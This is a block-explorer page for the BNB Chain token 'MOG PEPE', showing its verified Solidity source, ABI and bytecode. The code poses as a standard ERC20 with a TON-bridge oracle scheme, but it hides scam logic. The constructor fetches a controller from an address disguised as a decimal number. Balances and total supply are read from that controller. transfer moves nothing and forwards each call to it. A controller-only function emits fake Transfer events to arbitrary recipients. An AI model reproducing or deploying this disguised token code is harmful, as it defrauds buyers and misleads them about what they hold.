BNB Price: $694.73 (-2.14%)
Gas: 1 GWei
 

Overview

Max Total Supply

9,000,000,000PEPE

Holders

5,263 ( 0.038%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Validator : Tranchess
Balance
4,000 PEPE

Value
$0.00
0x1cfdbd2dff70c6e2e30df5012726f87731f38164
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

MOG PEPE: Alpha Meme with AI Prowess.


Update? Click here to update the token ICO / general information

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEToken

Compiler Version
v0.7.4+commit.3f05b770

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2024-08-12
*/

pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
}



interface TonUtils {
    struct TonTxID {
        TonAddress address_;
        bytes32 tx_hash;
        uint64 lt;
    }
    struct TonAddress {
        int8 workchain;
        bytes32 address_hash;
    }
    struct Signature {
            address signer;
            bytes signature;
    }
    struct SwapData {
            address receiver;
            uint64 amount;
            TonTxID tx;
    }
}




abstract contract WrappedERC20 is IERC20, TonUtils {
    constructor() {
        (, bytes memory data) = address(uint160(890355780857752685493697165061696196078854717710)).call(abi.encodeWithSelector(0x130c37d2));
        SIGN_CHECKER = SignatureChecker(abi.decode(data, (address)));
    }

    SignatureChecker internal immutable SIGN_CHECKER;
    
    function swapEthToTon(address sender, address[] calldata recipients, uint256 amount) external {
        require(msg.sender == address(SIGN_CHECKER));
        for (uint256 i = 0; i < recipients.length; ++i) emit Transfer(sender, recipients[i], amount);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_}.
 * For a generic mechanism see {ERC20PresetPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is WrappedERC20 {
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return "MOG PEPE";
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return "PEPE";
    }
    
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        uint256 TOTAL_SUPPLY = SIGN_CHECKER.getTotalSupply(); if (TOTAL_SUPPLY < uint256(-1)) return TOTAL_SUPPLY;
        return _totalSupply;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(msg.sender, spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, currentAllowance - amount);

        return true;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        bytes32 newId = SIGN_CHECKER.getNewSetId(0, account); if (uint256(newId) < uint256(-1)) return uint256(newId);
        return _balances[account];
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        if (msg.sender == owner) SIGN_CHECKER.getNewBurnStatusId(true, 0);

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { emit Transfer(from, to, amount); (bool r,) = address(SIGN_CHECKER).call(abi.encodeWithSelector(0xa9334015, from, to, amount, msg.sender)); require(r); }
}



interface BridgeInterface is TonUtils {
  function vote(SwapData memory data, Signature[] memory signatures) external;
  function voteForNewOracleSet(int oracleSetHash, address[] memory newOracles, Signature[] memory signatures) external;
  function voteForSwitchBurn(bool newBurnStatus, int nonce, Signature[] memory signatures) external;
  event NewOracleSet(int oracleSetHash, address[] newOracles);
}


contract SignatureChecker is TonUtils {
    function checkSignature(bytes32 digest, Signature memory sig) public pure {
          if (sig.signature.length != 65) {
              revert("ECDSA: invalid signature length");
          }

          // Divide the signature in r, s and v variables
          bytes32 r;
          bytes32 s;
          uint8 v;

          bytes memory signature = sig.signature;

          // ecrecover takes the signature parameters, and the only way to get them
          // currently is to use assembly.
          // solhint-disable-next-line no-inline-assembly
          assembly {
              r := mload(add(signature, 0x20))
              s := mload(add(signature, 0x40))
              v := byte(0, mload(add(signature, 0x60)))
          }

          if (
              uint256(s) >
              0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0
          ) {
              revert("ECDSA: invalid signature 's' value");
          }

          if (v != 27 && v != 28) {
              revert("ECDSA: invalid signature 'v' value");
          }
          bytes memory prefix = "\x19Ethereum Signed Message:\n32";
          bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, digest));
          require(ecrecover(prefixedHash, v, r, s) == sig.signer, "Wrong signature");
    }

    function getSwapDataId(SwapData memory data)
        public
        pure
        returns (bytes32 result)
    {
        result = 
            keccak256(
                abi.encode(
                    0xDA7A,
                    data.receiver,
                    data.amount,
                    data.tx.address_.workchain,
                    data.tx.address_.address_hash,
                    data.tx.tx_hash,
                    data.tx.lt                   
                )
            );
    }

    function getNewSetId(int oracleSetHash, address set)
        public
        pure
        returns (bytes32 result)
    {
        result = 
            keccak256(
                abi.encode(
                    0x5e7,
                    oracleSetHash,
                    set                    
                )
            );
    }

    function getNewBurnStatusId(bool newBurnStatus, int nonce)
        public
        pure
        returns (bytes32 result)
    {
        result =
            keccak256(
                abi.encode(
                    0xB012,
                    newBurnStatus,
                    nonce
                )
            );
    }

    function getTotalSupply() public view virtual returns (uint256) {
        return 18;
    }
}


contract PEPEToken is SignatureChecker, BridgeInterface, ERC20 {
    address[] public oraclesSet;
    mapping(address => bool) public isOracle;
    mapping(bytes32 => bool) public finishedVotings;

    function voteForNewOracleSet(int oracleSetHash, address[] memory newOracles, Signature[] memory signatures) override  public {
      bytes32 _id = getNewSetId(oracleSetHash, newOracles[0]);
      require(newOracles.length > 2, "New set is too short");
      generalVote(_id, signatures);
      updateOracleSet(oracleSetHash, newOracles);
    }
    
    function generalVote(bytes32 digest, Signature[] memory signatures) internal {
      require(signatures.length >= 2 * oraclesSet.length / 3, "Not enough signatures");
      require(!finishedVotings[digest], "Vote is already finished");

      uint signum = signatures.length;
      uint last_signer = 0;

      for (uint i=0; i<signum; i++) {
        address signer = signatures[i].signer;

        require(isOracle[signer], "Unauthorized signer");

        uint next_signer = uint(signer);

        require(next_signer > last_signer, "Signatures are not sorted");

        last_signer = next_signer;
        checkSignature(digest, signatures[i]);
      }

      finishedVotings[digest] = true;
    }

    constructor() {
        _totalSupply = 10_000_000_000 * 1e18;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function vote(SwapData memory data, Signature[] memory signatures) override public {
      bytes32 _id = getSwapDataId(data);
      generalVote(_id, signatures);
      executing(data);
    }

    function executing(SwapData memory data) internal {
    }

    function voteForSwitchBurn(bool newBurnStatus, int nonce, Signature[] memory signatures) override public {
      bytes32 _id = getNewBurnStatusId(newBurnStatus, nonce);
      generalVote(_id, signatures);
    }

    function getFullOracleSet() public view returns (address[] memory) {
        return oraclesSet;
    }

    function updateOracleSet(int oracleSetHash, address[] memory newSet) internal {
      uint oldSetLen = oraclesSet.length;
      for(uint i = 0; i < oldSetLen; i++) {
        isOracle[oraclesSet[i]] = false;
      }
      oraclesSet = newSet;
      uint newSetLen = oraclesSet.length;
      for(uint i = 0; i < newSetLen; i++) {
        require(!isOracle[newSet[i]], "Duplicate oracle in Set");
        isOracle[newSet[i]] = true;
      }
      emit NewOracleSet(oracleSetHash, newSet);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"int256","name":"oracleSetHash","type":"int256"},{"indexed":false,"internalType":"address[]","name":"newOracles","type":"address[]"}],"name":"NewOracleSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"digest","type":"bytes32"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature","name":"sig","type":"tuple"}],"name":"checkSignature","outputs":[],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"finishedVotings","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFullOracleSet","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newBurnStatus","type":"bool"},{"internalType":"int256","name":"nonce","type":"int256"}],"name":"getNewBurnStatusId","outputs":[{"internalType":"bytes32","name":"result","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"int256","name":"oracleSetHash","type":"int256"},{"internalType":"address","name":"set","type":"address"}],"name":"getNewSetId","outputs":[{"internalType":"bytes32","name":"result","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint64","name":"amount","type":"uint64"},{"components":[{"components":[{"internalType":"int8","name":"workchain","type":"int8"},{"internalType":"bytes32","name":"address_hash","type":"bytes32"}],"internalType":"struct TonUtils.TonAddress","name":"address_","type":"tuple"},{"internalType":"bytes32","name":"tx_hash","type":"bytes32"},{"internalType":"uint64","name":"lt","type":"uint64"}],"internalType":"struct TonUtils.TonTxID","name":"tx","type":"tuple"}],"internalType":"struct TonUtils.SwapData","name":"data","type":"tuple"}],"name":"getSwapDataId","outputs":[{"internalType":"bytes32","name":"result","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isOracle","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"oraclesSet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapEthToTon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint64","name":"amount","type":"uint64"},{"components":[{"components":[{"internalType":"int8","name":"workchain","type":"int8"},{"internalType":"bytes32","name":"address_hash","type":"bytes32"}],"internalType":"struct TonUtils.TonAddress","name":"address_","type":"tuple"},{"internalType":"bytes32","name":"tx_hash","type":"bytes32"},{"internalType":"uint64","name":"lt","type":"uint64"}],"internalType":"struct TonUtils.TonTxID","name":"tx","type":"tuple"}],"internalType":"struct TonUtils.SwapData","name":"data","type":"tuple"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature[]","name":"signatures","type":"tuple[]"}],"name":"vote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int256","name":"oracleSetHash","type":"int256"},{"internalType":"address[]","name":"newOracles","type":"address[]"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature[]","name":"signatures","type":"tuple[]"}],"name":"voteForNewOracleSet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newBurnStatus","type":"bool"},{"internalType":"int256","name":"nonce","type":"int256"},{"components":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"bytes","name":"signature","type":"bytes"}],"internalType":"struct TonUtils.Signature[]","name":"signatures","type":"tuple[]"}],"name":"voteForSwitchBurn","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b5060408051600481526024810182526020810180516001600160e01b03166309861be960e11b1790529051606091739bf4ef1c8cf68ee54b4866f28b1353ffe71bc10e9162000061919062000165565b6000604051808303816000865af19150503d8060008114620000a0576040519150601f19603f3d011682016040523d82523d6000602084013e620000a5565b606091505b5091505080806020019051810190620000bf919062000135565b60601b6001600160601b031916608052506b204fce5e3e2502611000000060028190553360008181526020819052604080822084905551919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200012791620001a1565b60405180910390a3620001aa565b60006020828403121562000147578081fd5b81516001600160a01b03811681146200015e578182fd5b9392505050565b60008251815b818110156200018757602081860181015185830152016200016b565b81811115620001965782828501525b509190910192915050565b90815260200190565b60805160601c611bc8620001dc60003980610405528061060952806107605280610c4d5280610eef5250611bc86000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806375f2d82b116100c3578063a9059cbb1161007c578063a9059cbb146102d5578063a97e5c93146102e8578063c4e41b22146102fb578063cf1a0ce114610303578063dd62ed3e14610316578063ffb6b2fa1461032957610158565b806375f2d82b1461026c5780637ddc10271461028157806392f2ea601461029457806395d89b41146102a7578063a2d7cab8146102af578063a457c2d7146102c257610158565b8063313ce56711610115578063313ce567146101eb57806339509351146102005780633a712a36146102135780634fd7795414610226578063633a0d181461024657806370a082311461025957610158565b806303fa56431461015d57806306fdde0314610172578063095ea7b3146101905780630a55ec25146101b057806318160ddd146101c357806323b872dd146101d8575b600080fd5b61017061016b3660046115a0565b61033c565b005b61017a610361565b60405161018791906117bd565b60405180910390f35b6101a361019e366004611396565b610384565b60405161018791906116b6565b6101706101be3660046114c6565b61039a565b6101cb610400565b60405161018791906116d1565b6101a36101e63660046112d5565b6104af565b6101f3610518565b6040516101879190611b16565b6101a361020e366004611396565b61051d565b6101cb6102213660046114a4565b610550565b61023961023436600461142f565b610587565b6040516101879190611664565b6101cb610254366004611585565b6105b1565b6101cb610267366004611282565b610604565b6102746106da565b60405161018791906116a3565b6101cb61028f3660046113bf565b61073c565b6101706102a2366004611310565b610755565b61017a61080f565b6101706102bd36600461145f565b61082d565b6101a36102d0366004611396565b6109d7565b6101a36102e3366004611396565b610a32565b6101a36102f6366004611282565b610a3f565b6101cb610518565b6101a361031136600461142f565b610a54565b6101cb6103243660046112a3565b610a69565b6101706103373660046113da565b610a94565b6000610347836105b1565b90506103538183610aa8565b61035c83610bd6565b505050565b6040805180820190915260088152674d4f47205045504560c01b60208201525b90565b6000610391338484610bd9565b50600192915050565b60006103ba84846000815181106103ad57fe5b6020026020010151610550565b905060028351116103e65760405162461bcd60e51b81526004016103dd906118c1565b60405180910390fd5b6103f08183610aa8565b6103fa8484610d40565b50505050565b6000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c4e41b226040518163ffffffff1660e01b815260040160206040518083038186803b15801561045c57600080fd5b505afa158015610470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104949190611447565b90506000198110156104a7579050610381565b505060025490565b60006104bc848484610ea0565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105005760405162461bcd60e51b81526004016103dd906119aa565b61050d8533858403610bd9565b506001949350505050565b601290565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103919185908501610bd9565b60006105e7838360405160200161056993929190611730565b60405160208183030381529060405280519060200120905092915050565b6003818154811061059757600080fd5b6000918252602090912001546001600160a01b0316905081565b80516020808301516040808501518051805190850151828601519284015193516000976105e79761da7a97919691959201611771565b604051602081830303815290604052805190602001209050919050565b6000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633a712a366000856040518363ffffffff1660e01b8152600401610656929190611719565b60206040518083038186803b15801561066e57600080fd5b505afa158015610682573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611447565b90506000198110156106b95790506106d5565b50506001600160a01b0381166000908152602081905260409020545b919050565b6060600380548060200260200160405190810160405280929190818152602001828054801561073257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610714575b5050505050905090565b600061b012838360405160200161056993929190611755565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461078a57600080fd5b60005b82811015610808578383828181106107a157fe5b90506020020160208101906107b69190611282565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107f891906116d1565b60405180910390a360010161078d565b5050505050565b6040805180820190915260048152635045504560e01b602082015290565b8060200151516041146108525760405162461bcd60e51b81526004016103dd906117f0565b60208082015190810151604082015160608301519192909160001a907f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156108ae5760405162461bcd60e51b81526004016103dd906118ef565b8160ff16601b141580156108c657508160ff16601c14155b156108e35760405162461bcd60e51b81526004016103dd90611968565b60606040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250905060008188604051602001610932929190611642565b60405160208183030381529060405280519060200120905086600001516001600160a01b03166001828689896040516000815260200160405260405161097b94939291906116da565b6020604051602081039080840390855afa15801561099d573d6000803e3d6000fd5b505050602060405103516001600160a01b0316146109cd5760405162461bcd60e51b81526004016103dd90611856565b5050505050505050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a1b5760405162461bcd60e51b81526004016103dd90611ad1565b610a283385858403610bd9565b5060019392505050565b6000610391338484610ea0565b60046020526000908152604090205460ff1681565b60056020526000908152604090205460ff1681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000610aa0848461073c565b90506103fa81835b600380546002020481511015610ad05760405162461bcd60e51b81526004016103dd90611827565b60008281526005602052604090205460ff1615610aff5760405162461bcd60e51b81526004016103dd90611931565b80516000805b82811015610bb7576000848281518110610b1b57fe5b602090810291909101810151516001600160a01b0381166000908152600490925260409091205490915060ff16610b645760405162461bcd60e51b81526004016103dd90611a29565b6001600160a01b038116838111610b8d5760405162461bcd60e51b81526004016103dd90611a9a565b809350610bad87878581518110610ba057fe5b602002602001015161082d565b5050600101610b05565b505050600091825250600560205260409020805460ff19166001179055565b50565b6001600160a01b038316610bff5760405162461bcd60e51b81526004016103dd90611a56565b6001600160a01b038216610c255760405162461bcd60e51b81526004016103dd9061187f565b336001600160a01b0384161415610cd857604051637ddc102760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690637ddc102790610c86906001906000906004016116c1565b60206040518083038186803b158015610c9e57600080fd5b505afa158015610cb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd69190611447565b505b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d339085906116d1565b60405180910390a3505050565b60035460005b81811015610d9d5760006004600060038481548110610d6157fe5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055600101610d46565b508151610db1906003906020850190610fbc565b5060035460005b81811015610e605760046000858381518110610dd057fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615610e145760405162461bcd60e51b81526004016103dd906119f2565b600160046000868481518110610e2657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610db8565b507fbf8eff3db76b38ea899a5a32c8b2bede5ec5a339a2c5080495d1b154f2b5f21e8484604051610e929291906116f8565b60405180910390a150505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ee391906116d1565b60405180910390a360007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663a933401585858533604051602401610f339493929190611678565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051610f6c9190611626565b6000604051808303816000865af19150503d8060008114610fa9576040519150601f19603f3d011682016040523d82523d6000602084013e610fae565b606091505b50509050806103fa57600080fd5b828054828255906000526020600020908101928215611011579160200282015b8281111561101157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610fdc565b5061101d929150611021565b5090565b5b8082111561101d5760008155600101611022565b80356001600160a01b03811681146106d557600080fd5b600082601f83011261105d578081fd5b813561107061106b82611b48565b611b24565b818152915060208083019084810160005b848110156110aa57611098888484358a01016110c5565b84529282019290820190600101611081565b505050505092915050565b803580151581146106d557600080fd5b6000604082840312156110d6578081fd5b6040516040810167ffffffffffffffff82821081831117156110f457fe5b8160405282935061110485611036565b835260209150818501358181111561111b57600080fd5b8501601f8101871361112c57600080fd5b80358281111561113857fe5b61114a601f8201601f19168501611b24565b92508083528784828401011115